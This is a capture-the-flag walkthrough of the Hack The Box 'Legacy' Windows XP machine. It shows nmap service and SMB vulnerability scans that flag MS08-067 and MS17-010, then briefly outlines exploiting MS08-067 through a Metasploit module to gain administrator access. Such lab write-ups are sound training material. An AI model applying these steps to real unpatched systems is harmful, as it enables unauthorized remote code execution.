Post

Legacy

Legacy

Machine Information

Legacy is a fairly straightforward beginner-level machine which demonstrates the potential security risks of SMB on Windows. Only one publicly available exploit is required to obtain administrator access.

Writeup

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
nmap -sCV -T5 10.129.227.181

PORT    STATE SERVICE      VERSION                                                                                                                                                 
135/tcp open  msrpc        Microsoft Windows RPC                                                                                                                                   
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn                                                                                                                           
445/tcp open  microsoft-ds Windows XP microsoft-ds                                                                                                                                 
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp                                                                                 
                                                                                                                                                                                   
Host script results:                                                                                                                                                               
|_smb2-time: Protocol negotiation failed (SMB2)                                                                                                                                    
| smb-security-mode:                                                                                                                                                               
|   account_used: guest                                                                                                                                                            
|   authentication_level: user                                                                                                                                                     
|   challenge_response: supported                                                                                                                                                  
|_  message_signing: disabled (dangerous, but default)                                                                                                                             
| smb-os-discovery:                                                                                                                                                                
|   OS: Windows XP (Windows 2000 LAN Manager)                                                                                                                                      
|   OS CPE: cpe:/o:microsoft:windows_xp::-                                                                                                                                         
|   Computer name: legacy                                                                                                                                                          
|   NetBIOS computer name: LEGACY\x00                                                                                                                                              
|   Workgroup: HTB\x00                                                                                                                                                             
|_  System time: 2025-06-06T06:51:22+03:00                                                                                                                                         
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b0:ed:44 (VMware)                                                                                   
|_clock-skew: mean: 5d00h27m38s, deviation: 2h07m16s, median: 4d22h57m38s  

We can see port 445 (SMB) is opened, now we need to search fot its vulnerabilities.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
nmap -T5 10.129.227.181 --script=smb-vuln* -p 445

PORT    STATE SERVICE                                                                                                                                                              
445/tcp open  microsoft-ds                                                                                                                                                         
                                                                                                                                                                                   
Host script results:                                                                                                                                                               
| smb-vuln-ms17-010:                                                                                                                                                               
|   VULNERABLE:                                                                                                                                                                    
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)                                                                                                      
|     State: VULNERABLE                                                                                                                                                            
|     IDs:  CVE:CVE-2017-0143                                                                                                                                                      
|     Risk factor: HIGH                                                                                                                                                            
|       A critical remote code execution vulnerability exists in Microsoft SMBv1                                                                                                   
|        servers (ms17-010).                                                                                                                                                       
|                                                                                                                                                                                  
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

We can see that we have 2 RCE vulnerabilities (2008 and 2017), now we search it in metaploit.

Exploit

1
search cve-2008-4250

Modify RHOST and LHOST then run.

After getting in the target’s machine, use getuid to see who we are.

User & Root Flag

Get user’s flag at C:\Documents and Settings\john\Desktop\user.txt

Get user’s flag at C:\Documents and Settings\Administrator\Desktop\root.txt